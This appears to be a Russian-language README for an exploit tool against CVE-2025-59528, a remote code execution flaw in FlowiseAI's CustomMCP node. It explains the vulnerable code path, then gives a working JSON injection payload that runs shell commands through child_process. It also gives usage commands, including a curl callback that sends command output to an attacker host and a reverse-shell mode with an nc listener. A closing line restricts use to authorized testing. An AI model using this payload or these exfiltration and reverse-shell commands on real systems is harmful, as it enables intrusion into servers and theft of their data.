
CVE-2025-59528 - удалённое выполнение кода в FlowiseAI CustomMCP
CVSS 10.0 (Критический) | Слепое RCE | FlowiseAI Flowise >= 2.2.7-patch.1 и < 3.0.6
Критическая уязвимость удаленного выполнения кода в узле CustomMCP проекта FlowiseAI Flowise. Функция convertToValidJSONString передает пользовательский ввод из параметра mcpServerConfig напрямую в конструктор JavaScript Function(), функционально эквивалентный eval(), что позволяет выполнять произвольный JavaScript-код с полными привилегиями среды выполнения Node.js.
Function()JSON5.parse()В файле packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, строки 262–270:
function convertToValidJSONString(inputString) {
return Function('return ' + inputString)(); // ← arbitrary code execution
}
Путь распространения (taint flow):
HTTP POST → /api/v1/node-load-method/customMCP
→ controller.getSingleNodeAsyncOptions()
→ service layer
→ CustomMCP.listActions()
→ convertToValidJSONString(mcpServerConfig) // Function('return ' + userInput)()
Это слепое RCE — вывод команды не отражается в HTTP-ответе. Используйте техники обратного вызова (curl/wget) или обратную оболочку (reverse shell) для подтверждения выполнения.
| Условие | Детали |
|---|---|
| Версия Flowise | >= 2.2.7-patch.1, < 3.0.6 |
| Сетевой доступ | API-эндпоинт на порту 3000 (по умолчанию) |
| Аутентификация | Необязательна для < 3.0.1, обязательна для >= 3.0.1 |
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
}
}
pip install requests
python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass
# Exfiltrate output via callback
python3 exploit.py -t http://target:3000 --mode exec \
-c "curl http://ATTACKER:PORT/\$(id | base64)" \
--email [email protected] --password pass
# Start listener
nc -lvnp 4444
# Fire exploit (auto-tries bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
--lhost ATTACKER_IP --lport 4444 \
--email [email protected] --password pass
# JWT auth (Flowise >= 3.0.1)
--email [email protected] --password pass
# Basic auth (Flowise < 3.0.1 with FLOWISE_USERNAME env)
--username admin --password pass
# Raw cookie string (fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."
/api/v1/node-load-method/customMCPЭтот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Всегда получайте надлежащее разрешение перед тестированием.